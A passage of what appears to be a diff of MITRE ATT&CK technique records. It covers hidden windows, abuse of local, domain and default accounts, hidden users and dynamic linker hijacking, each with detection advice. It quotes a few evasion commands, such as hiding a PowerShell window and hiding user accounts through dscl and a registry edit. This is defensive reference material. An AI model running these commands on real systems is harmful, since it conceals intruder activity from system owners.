Microsoft ADS Mar 2014)",True,,['Windows'],,,,['NTFS partitioned hard drive'],,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1564/003', 'external_id': 'T1564.003'}, {'source_name': 'PowerShell About 2019', 'description': 'Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019.', 'url': 'https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1'}, {'source_name': 'Antiquated Mac Malware', 'description': 'Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.', 'url': 'https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/'}]",1.0,attack-pattern,attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T20:26:49.433Z,2020-03-29T22:49:43.557Z,Hidden Window,"Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. On Windows, there are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden. (Citation: PowerShell About 2019) Similarly, on macOS the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. -Adversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)",attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0,attack-pattern,['defense-evasion'],2020-03-29T22:49:43.557Z,2020-03-13T20:26:49.433Z,"Monitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement or any other suspicious plist tag in plist files and flag them.","['Process: Process Creation', 'Command: Command Execution', 'Script: Script Execution', 'File: File Modification']","['Travis Smith, Tripwire']",,['User'],"['macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1078.003', 'url': 'https://attack.mitre.org/techniques/T1078/003'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]",1.1,True,https://attack.mitre.org/techniques/T1078/003,mitre-attack,T1078.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Local Accounts,"Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. +Adversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)",['defense-evasion'],https://attack.mitre.org/techniques/T1564/003,mitre-attack,T1564.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Travis Smith, Tripwire']","['Process: Process Creation', 'Command: Command Execution', 'Script: Script Execution', 'File: File Modification']",,"Monitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement or any other suspicious plist tag in plist files and flag them.",True,['User'],"['macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1078/003', 'external_id': 'T1078.003'}]",1.2,attack-pattern,attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T20:26:46.695Z,2021-10-18T17:45:48.323Z,Local Accounts,"Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. -Local Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. ",attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2,attack-pattern,"['defense-evasion', 'persistence', 'privilege-escalation', 'initial-access']",2021-04-05T12:51:00.663Z,2020-03-13T20:26:46.695Z,"Perform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours.","['User Account: User Account Authentication', 'Logon Session: Logon Session Creation']",,,"['Administrator', 'User']","['Linux', 'macOS', 'Windows', 'Containers']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1078.002', 'url': 'https://attack.mitre.org/techniques/T1078/002'}, {'external_id': 'CAPEC-560', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/560.html'}, {'url': 'https://technet.microsoft.com/en-us/library/dn535501.aspx', 'description': 'Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.', 'source_name': 'TechNet Credential Theft'}, {'source_name': 'Microsoft AD Accounts', 'url': 'https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts', 'description': 'Microsoft. (2019, August 23). Active Directory Accounts. Retrieved March 13, 2020.'}, {'url': 'https://technet.microsoft.com/en-us/library/dn487457.aspx', 'description': 'Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.', 'source_name': 'TechNet Audit Policy'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]",1.1,True,https://attack.mitre.org/techniques/T1078/002,mitre-attack,T1078.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Domain Accounts,"Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. (Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts) +Local Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. ","['defense-evasion', 'persistence', 'privilege-escalation', 'initial-access']",https://attack.mitre.org/techniques/T1078/003,mitre-attack,T1078.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Logon Session: Logon Session Metadata', 'User Account: User Account Authentication', 'Logon Session: Logon Session Creation']",,"Perform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours.",True,"['Administrator', 'User']","['Linux', 'macOS', 'Windows', 'Containers']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1078/002', 'external_id': 'T1078.002'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/560.html', 'external_id': 'CAPEC-560'}, {'source_name': 'TechNet Credential Theft', 'description': 'Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/dn535501.aspx'}, {'source_name': 'Microsoft AD Accounts', 'description': 'Microsoft. (2019, August 23). Active Directory Accounts. Retrieved March 13, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts'}, {'source_name': 'TechNet Audit Policy', 'description': 'Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/dn487457.aspx'}, {'source_name': 'Ubuntu SSSD Docs', 'description': 'Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021.', 'url': 'https://ubuntu.com/server/docs/service-sssd'}]",1.2,attack-pattern,attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T20:21:54.758Z,2021-10-19T03:29:47.651Z,Domain Accounts,"Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. (Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts) -Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.",attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f,attack-pattern,"['defense-evasion', 'persistence', 'privilege-escalation', 'initial-access']",2020-09-16T19:42:11.787Z,2020-03-13T20:21:54.758Z,"Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). +Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.","['defense-evasion', 'persistence', 'privilege-escalation', 'initial-access']",https://attack.mitre.org/techniques/T1078/002,mitre-attack,T1078.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jon Sternstein, Stern Security']","['Logon Session: Logon Session Metadata', 'User Account: User Account Authentication', 'Logon Session: Logon Session Creation']",,"Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). -Perform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.","['User Account: User Account Authentication', 'Logon Session: Logon Session Creation']",,,"['User', 'Administrator']","['Linux', 'macOS', 'Windows']",,CAPEC-560,https://capec.mitre.org/data/definitions/560.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1078.001', 'url': 'https://attack.mitre.org/techniques/T1078/001'}, {'external_id': 'CAPEC-70', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/70.html'}, {'source_name': 'Microsoft Local Accounts Feb 2019', 'url': 'https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts', 'description': 'Microsoft. (2018, December 9). Local Accounts. Retrieved February 11, 2019.'}, {'source_name': 'AWS Root User', 'url': 'https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html', 'description': 'Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021.'}, {'source_name': 'Threat Matrix for Kubernetes', 'url': 'https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/', 'description': 'Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.'}, {'source_name': 'Metasploit SSH Module', 'url': 'https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh', 'description': 'Metasploit. (n.d.). Retrieved April 12, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]",1.2,True,https://attack.mitre.org/techniques/T1078/001,mitre-attack,T1078.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Default Accounts,"Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes) +On Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) -Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)",attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d,attack-pattern,"['defense-evasion', 'persistence', 'privilege-escalation', 'initial-access']",2021-04-05T20:14:26.846Z,2020-03-13T20:15:31.974Z,"Monitor whether default accounts have been activated or logged into. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.","['User Account: User Account Authentication', 'Logon Session: Logon Session Creation']",,,"['Administrator', 'User']","['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",,CAPEC-70,https://capec.mitre.org/data/definitions/70.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1564.002', 'url': 'https://attack.mitre.org/techniques/T1564/002'}, {'url': 'http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf', 'description': 'Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved July 31, 2020.', 'source_name': 'Cybereason OSX Pirrit'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1564/002,mitre-attack,T1564.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Hidden Users,"Adversaries may use hidden users to mask the presence of user accounts they create. Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. +Perform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.",True,"['User', 'Administrator']","['Linux', 'macOS', 'Windows']",,CAPEC-560,https://capec.mitre.org/data/definitions/560.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1078/001', 'external_id': 'T1078.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/70.html', 'external_id': 'CAPEC-70'}, {'source_name': 'Microsoft Local Accounts Feb 2019', 'description': 'Microsoft. (2018, December 9). Local Accounts. Retrieved February 11, 2019.', 'url': 'https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts'}, {'source_name': 'AWS Root User', 'description': 'Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021.', 'url': 'https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html'}, {'source_name': 'Threat Matrix for Kubernetes', 'description': 'Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.', 'url': 'https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/'}, {'source_name': 'Metasploit SSH Module', 'description': 'Metasploit. (n.d.). Retrieved April 12, 2019.', 'url': 'https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh'}]",1.2,attack-pattern,attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T20:15:31.974Z,2021-04-05T20:14:26.846Z,Default Accounts,"Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes) -There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. When using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 (ex: sudo dscl . -create /Users/username UniqueID 401) and enabling this property (setting it to Yes), an adversary can conceal user accounts. (Citation: Cybereason OSX Pirrit).",attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d,attack-pattern,['defense-evasion'],2020-07-31T17:42:43.768Z,2020-03-13T20:12:40.876Z,"This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.","['User Account: User Account Creation', 'User Account: User Account Metadata', 'File: File Modification']",,,"['root', 'Administrator']",['macOS'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1574.006', 'url': 'https://attack.mitre.org/techniques/T1574/006'}, {'external_id': 'CAPEC-13', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/13.html'}, {'external_id': 'CAPEC-640', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/640.html'}, {'source_name': 'Man LD.SO', 'url': 'https://www.man7.org/linux/man-pages/man8/ld.so.8.html', 'description': ""Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved June 15, 2020.""}, {'source_name': 'TLDP Shared Libraries', 'url': 'https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html', 'description': 'The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved January 31, 2020.'}, {'source_name': 'Apple Doco Archive Dynamic Libraries', 'url': 'https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html', 'description': 'Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved March 24, 2021.'}, {'source_name': 'Baeldung LD_PRELOAD', 'url': 'https://www.baeldung.com/linux/ld_preload-trick-what-is', 'description': 'baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved March 24, 2021.'}, {'source_name': 'Code Injection on Linux and macOS', 'url': 'https://www.datawire.io/code-injection-on-linux-and-macos/', 'description': 'Itamar Turner-Trauring. (2017, April 18). “This will only hurt for a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017.'}, {'url': 'http://hick.org/code/skape/papers/needle.txt', 'description': 'skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.', 'source_name': 'Uninformed Needle'}, {'url': 'http://phrack.org/issues/51/8.html', 'description': 'halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017.', 'source_name': 'Phrack halfdead 1997'}, {'source_name': 'Brown Exploiting Linkers', 'url': 'http://www.nth-dimension.org.uk/pub/BTL.pdf', 'description': 'Tim Brown. (2011, June 29). Breaking the links: Exploiting the linker. Retrieved March 29, 2021.'}, {'source_name': 'TheEvilBit DYLD_INSERT_LIBRARIES', 'url': 'https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/', 'description': 'Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX. Retrieved March 26, 2020.'}, {'source_name': 'Timac DYLD_INSERT_LIBRARIES', 'url': 'https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/', 'description': 'Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES. Retrieved March 26, 2020.'}, {'source_name': 'Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass', 'url': 'https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191', 'description': 'Jon Gabilondo. (2019, September 22). How to Inject Code into Mach-O Apps. Part II.. Retrieved March 24, 2021.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",2.0,True,https://attack.mitre.org/techniques/T1574/006,mitre-attack,T1574.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Dynamic Linker Hijacking,"Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD) +Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)","['defense-evasion', 'persistence', 'privilege-escalation', 'initial-access']",https://attack.mitre.org/techniques/T1078/001,mitre-attack,T1078.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['User Account: User Account Authentication', 'Logon Session: Logon Session Creation']",,"Monitor whether default accounts have been activated or logged into. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.",True,"['Administrator', 'User']","['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",,CAPEC-70,https://capec.mitre.org/data/definitions/70.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1564/002', 'external_id': 'T1564.002'}, {'source_name': 'Cybereason OSX Pirrit', 'description': 'Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved July 31, 2020.', 'url': 'http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf'}, {'source_name': 'FireEye SMOKEDHAM June 2021', 'description': 'FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021.', 'url': 'https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html'}, {'source_name': 'US-CERT TA18-074A', 'description': 'US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-074A'}]",1.1,attack-pattern,attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T20:12:40.876Z,2021-10-14T20:22:03.625Z,Hidden Users,"Adversaries may use hidden users to mask the presence of user accounts they create or modify. Normal users may want to hide users when there are many users accounts on a given system or want to keep an account hidden from the other users on the system. + +In macOS, every user account has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. When using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 (ex: sudo dscl . -create /Users/username UniqueID 401) and enabling this property (setting it to Yes), an adversary can conceal user accounts. (Citation: Cybereason OSX Pirrit) + +In Windows, adversaries may hide user accounts via settings in the Registry. For example, an adversary may add a value to the Windows Registry (via [Reg](https://attack.mitre.org/software/S0075) or other means) that will hide the user “test” from the Windows login screen: reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccountsUserList' /v test /t REG_DWORD /d 0 /f.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)",['defense-evasion'],https://attack.mitre.org/techniques/T1564/002,mitre-attack,T1564.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Omkar Gudhate'],"['Command: Command Execution', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'User Account: User Account Creation', 'User Account: User Account Metadata', 'File: File Modification']",,"This technique prevents a user from showing up at the log in screen, but all of the other signs of the user may still exist. For example, ""hidden"" users may still get a home directory and will appear in the authentication logs. + +Monitor processes and command-line events for actions that could be taken to add a new user and subsequently hide it from login screens. Monitor Registry events for modifications to the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccountsUserList key.",True,"['root', 'Administrator']","['macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1574/006', 'external_id': 'T1574.006'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/13.html', 'external_id': 'CAPEC-13'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/640.html', 'external_id': 'CAPEC-640'}, {'source_name': 'Man LD.SO', 'description': ""Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved June 15, 2020."", 'url': 'https://www.man7.org/linux/man-pages/man8/ld.so.8.html'}, {'source_name': 'TLDP Shared Libraries', 'description': 'The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved January 31, 2020.', 'url': 'https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html'}, {'source_name': 'Apple Doco Archive Dynamic Libraries', 'description': 'Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved March 24, 2021.', 'url': 'https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html'}, {'source_name': 'Baeldung LD_PRELOAD', 'description': 'baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved March 24, 2021.', 'url': 'https://www.baeldung.com/linux/ld_preload-trick-what-is'}, {'source_name': 'Code Injection on Linux and macOS', 'description': 'Itamar Turner-Trauring. (2017, April 18). “This will only hurt for a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017.', 'url': 'https://www.datawire.io/code-injection-on-linux-and-macos/'}, {'source_name': 'Uninformed Needle', 'description': 'skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.', 'url': 'http://hick.org/code/skape/papers/needle.txt'}, {'source_name': 'Phrack halfdead 1997', 'description': 'halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017.', 'url': 'http://phrack.org/issues/51/8.html'}, {'source_name': 'Brown Exploiting Linkers', 'description': 'Tim Brown. (2011, June 29). Breaking the links: Exploiting the linker. Retrieved March 29, 2021.', 'url': 'http://www.nth-dimension.org.uk/pub/BTL.pdf'}, {'source_name': 'TheEvilBit DYLD_INSERT_LIBRARIES', 'description': 'Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX. Retrieved March 26, 2020.', 'url': 'https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/'}, {'source_name': 'Timac DYLD_INSERT_LIBRARIES', 'description': 'Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES. Retrieved March 26, 2020.', 'url': 